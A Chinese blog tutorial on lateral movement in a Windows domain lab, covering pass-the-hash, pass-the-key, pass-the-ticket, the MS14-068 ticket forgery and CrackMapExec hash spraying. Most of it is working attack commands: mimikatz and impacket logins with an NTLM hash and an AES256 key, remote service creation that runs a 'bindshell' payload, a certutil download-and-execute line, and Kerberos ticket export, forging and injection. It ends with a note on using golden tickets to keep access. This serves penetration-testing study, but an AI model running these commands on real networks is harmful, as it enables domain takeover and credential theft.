【内网安全】 横向移动PTH哈希PTT票据PTK密匙Kerberos密码喷射

本文主要是介绍【内网安全】 横向移动PTH哈希PTT票据PTK密匙Kerberos密码喷射,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 章节点
  • 域横向移动-PTH-Mimikatz&NTLM
    • 概述
    • 1、Mimikatz
    • 2、impacket-at&ps&wmi&smb
  • 域横向移动-PTK-Mimikatz&AES256
    • 概述
  • 域横向移动-PTT-漏洞&Kekeo&Ticket
    • 概述
    • 1、漏洞-MS14-068(webadmin权限) 利用漏洞生成新用户(高权限)的票据
    • 2、kekeo(高权限,需NTLM) 利用NTLM生成新的票据
    • 3、mimikatz(需要高权限,需Ticket) 利用留在计算机内的票据
  • 域横向移动-PTH-Proxychains&CrackMapExec

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Plink,DCOM,Kerberos_TGS,GPO&DACL,
域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

pass the ticket(票据传递攻击,简称ptt)
pass the key(密钥传递攻击,简称ptk)
PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

域横向移动-PTH-Mimikatz&NTLM

概述

PTH = Pass The Hash
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,
总结:KB2871997补丁后的影响
PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
通过密码散列值 (通常是NTLM Hash)来进行攻击。
在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。另外注意在Window Server 2012 R2之前使用到的密码散列值是LM、NTLM,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。
详见:https://www.freebuf.com/column/220740.html

1、Mimikatz

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
net use \\192.168.3.32\c$
copy C:\Users\webadmin\Desktop\webserver4444.exe \\192.168.3.32\c$
sc \\sqlserver create bindshell binpath= "c:\webserver4444.exe"
sc \\sqlserver start bindshell

Mimikatz横向移动转发上线

2、impacket-at&ps&wmi&smb

psexec -hashes :NTLM值 域名/域用户@域内ip地址
smbexec -hashes :NTLM值 域名/域用户@域内ip地址
wmiexec -hashes :NTLM值 域名/域用户@域内ip地址

python3 psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32   #返回system权限
python3  smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32	#返回system权限
python3  wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c /administrator@192.168.3.32	#返回administrator权限

在这里插入图片描述

certutil.exe -urlcache -split -f http://192.168.3.31:80/webserver4444.exe 1.exe & 1.exe

在这里插入图片描述
在这里插入图片描述
文件下载,执行上线,上图返回的权限不同是因为使用了不同的脚本

域横向移动-PTK-Mimikatz&AES256

概述

PTK = Pass The Key
PTK:打了补丁才能用户都可以连接,采用aes256连接
当系统安装了KB2871997补丁且禁用了NTLM的时候,
那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式获得权限。

mimikatz sekurlsa::ekeys

在这里插入图片描述

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:9f64a722743a06840e2fc30e69c56c07feb23e32fc177d165f272cb5790ce98b

执行成功之后会在webserver靶机上弹出一个cmd窗口,但是无法使用net use \192.168.3.32\c$ 连接,对方机器未必会开启aes验证,也不满足漏洞利用条件

域横向移动-PTT-漏洞&Kekeo&Ticket

概述

pass the hash(hash传递攻击,简称pth)
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases

1、漏洞-MS14-068(webadmin权限) 利用漏洞生成新用户(高权限)的票据

能否利用取决于域控DC是否打补丁

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,伪造用户身份TGT票据。
它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。
Kerberos相当于web中的cookie或session用户凭证,用于用户身份验证
该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。
用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

下面演示使用webadmin普通用户权限利用MS14-068上线域控DC

shell whoami/user  #获取sid

在这里插入图片描述

shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45  #生成票据文件		
#利用程序太大,不建议上传到webserver中,可能会有数据的丢失,使用代理的话需要将webserver提升到system权限

使用代码在本地执行,生成票据TGT_webadmin@god.org.ccache
在这里插入图片描述

shell klist purge				#清除票据

在这里插入图片描述

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache		#使用mimikatz将票据(上传到目标主机上)导入内存

在这里插入图片描述
票据有效期是10个小时

#连接目标上线

shell dir \\OWA2010CN-GOD\c$		#未导入票据之前显示拒绝访问

在这里插入图片描述

#操作同上
shell net use \\OWA2010CN-GOD\C$
copy webserver4444.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\webserver4444.exe"
sc \\OWA2010CN-GOD start bindshell

2、kekeo(高权限,需NTLM) 利用NTLM生成新的票据

利用取决于获取到的NTML是否是高权限用户的
因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,
我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗
缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。

#生成票据  kekeo上传值webserver中
shell kekeo "tgt::ask /user:webadmin /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"	

在这里插入图片描述

#导入票据
shell kekeo "kerberos::ptt TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

在这里插入图片描述

#查看票据
shell klist
#利用票据连接
shell dir \owa2010cn-god\c$
这里显示拒绝访问
这种方法与上面同样是伪造票据,为什么不能使用呢,因为上面是利用MS14-068漏洞,而这里是正常生成凭证,只能在具有该用户的机器上使用。(比如演示中我们使用webadmin用户和对应hash,那么只能在具有该用户密码的机器上使用,比较鸡肋)
什么时候使用:当PTH功能条件受到限制(WMI、SMB协议不能正常利用),就可以利用该方法

3、mimikatz(需要高权限,需Ticket) 利用留在计算机内的票据

利用取决于当前主机有没有被目标(域控DC)登陆过(使用域控账号登陆)

mimikatz sekurlsa::tickets /export			#导出票据

在这里插入图片描述
桌面生成webserver与域内其他主机通讯的记录
在这里插入图片描述

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;3e4]-2-0-60a00000-WEBSERVER$@krbtgt-GOD.ORG.kirbi

在这里插入图片描述
当然这个票据是无法利用域控DC的。因为该票据不是域控与webserver连接遗留的文件。因为我搭建环境的时候没使用域控账号登陆过webserver靶机,所以导不出可以利用的票据
在这里插入图片描述
登陆之后还是导不出administrator的票据的话,就使用DC域控远程桌面连接一下webserver靶机,使用administrator登陆,模拟一下利用条件
在这里插入图片描述
尝试使用域控DC登陆
重新导出票据 可以看到生成了administrator与域控的票据
在这里插入图片描述

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;f1818]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi		#导入票据  使用krbtgt协议的票据

在这里插入图片描述

shell klist

在这里插入图片描述

shell dir \\owa2010cn-god\c$

在这里插入图片描述

域横向移动-PTH-Proxychains&CrackMapExec

见往期文章复现
CrackMapExec

Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html

下载对应release,建立socks连接,设置socks代理,配置规则,调用!
1、Linux Proxychains使用
代理配置:Proxychains.conf
代理调用:Proxychains 命令
2、密码喷射-域用户登录PTH:

proxychains python cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录
proxychains python cme smb 192.168.3.21-32 -u administrator -H 518b98ad4178a53695dc997aa02d455c --local-auth #本地用户HASH登录

拓展:

黄金票据可以伪造域内任意用户,即使这个用户不存在,黑客入侵成功后,记下krbtgt的SID和krbtgt的散列值,即使蓝队修改了管理员密码,红队依然能通过黄金票据,畅通无阻。

这篇关于【内网安全】 横向移动PTH哈希PTT票据PTK密匙Kerberos密码喷射的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/440395

相关文章

MySQL 横向衍生表(Lateral Derived Tables)的实现

《MySQL横向衍生表(LateralDerivedTables)的实现》横向衍生表适用于在需要通过子查询获取中间结果集的场景,相对于普通衍生表,横向衍生表可以引用在其之前出现过的表名,本文就来... 目录一、横向衍生表用法示例1.1 用法示例1.2 使用建议前面我们介绍过mysql中的衍生表(From子句

Java中常见队列举例详解(非线程安全)

《Java中常见队列举例详解(非线程安全)》队列用于模拟队列这种数据结构,队列通常是指先进先出的容器,:本文主要介绍Java中常见队列(非线程安全)的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一.队列定义 二.常见接口 三.常见实现类3.1 ArrayDeque3.1.1 实现原理3.1.2

Druid连接池实现自定义数据库密码加解密功能

《Druid连接池实现自定义数据库密码加解密功能》在现代应用开发中,数据安全是至关重要的,本文将介绍如何在​​Druid​​连接池中实现自定义的数据库密码加解密功能,有需要的小伙伴可以参考一下... 目录1. 环境准备2. 密码加密算法的选择3. 自定义 ​​DruidDataSource​​ 的密码解密3

SpringBoot如何对密码等敏感信息进行脱敏处理

《SpringBoot如何对密码等敏感信息进行脱敏处理》这篇文章主要为大家详细介绍了SpringBoot对密码等敏感信息进行脱敏处理的几个常用方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解下... 目录​1. 配置文件敏感信息脱敏​​2. 日志脱敏​​3. API响应脱敏​​4. 其他注意事项​​总结

JavaScript实战:智能密码生成器开发指南

本文通过JavaScript实战开发智能密码生成器,详解如何运用crypto.getRandomValues实现加密级随机密码生成,包含多字符组合、安全强度可视化、易混淆字符排除等企业级功能。学习密码强度检测算法与信息熵计算原理,获取可直接嵌入项目的完整代码,提升Web应用的安全开发能力 目录

使用Java实现Navicat密码的加密与解密的代码解析

《使用Java实现Navicat密码的加密与解密的代码解析》:本文主要介绍使用Java实现Navicat密码的加密与解密,通过本文,我们了解了如何利用Java语言实现对Navicat保存的数据库密... 目录一、背景介绍二、环境准备三、代码解析四、核心代码展示五、总结在日常开发过程中,我们有时需要处理各种软

Java如何将文件内容转换为MD5哈希值

《Java如何将文件内容转换为MD5哈希值》:本文主要介绍Java如何将文件内容转换为MD5哈希值的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java文件内容转换为MD5哈希值一个完整的Java示例代码代码解释注意事项总结Java文件内容转换为MD5

双系统电脑中把Ubuntu装进外接移动固态硬盘的全过程

《双系统电脑中把Ubuntu装进外接移动固态硬盘的全过程》:本文主要介绍如何在Windows11系统中使用VMware17创建虚拟机,并在虚拟机中安装Ubuntu22.04桌面版或Ubunt... 目录一、首先win11中安装vmware17二、磁盘分区三、保存四、使用虚拟机进行系统安装五、遇见的错误和解决

使用FileChannel实现文件的复制和移动方式

《使用FileChannel实现文件的复制和移动方式》:本文主要介绍使用FileChannel实现文件的复制和移动方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录使用 FileChannel 实现文件复制代码解释使用 FileChannel 实现文件移动代码解释

CentOS和Ubuntu系统使用shell脚本创建用户和设置密码

《CentOS和Ubuntu系统使用shell脚本创建用户和设置密码》在Linux系统中,你可以使用useradd命令来创建新用户,使用echo和chpasswd命令来设置密码,本文写了一个shell... 在linux系统中,你可以使用useradd命令来创建新用户,使用echo和chpasswd命令来设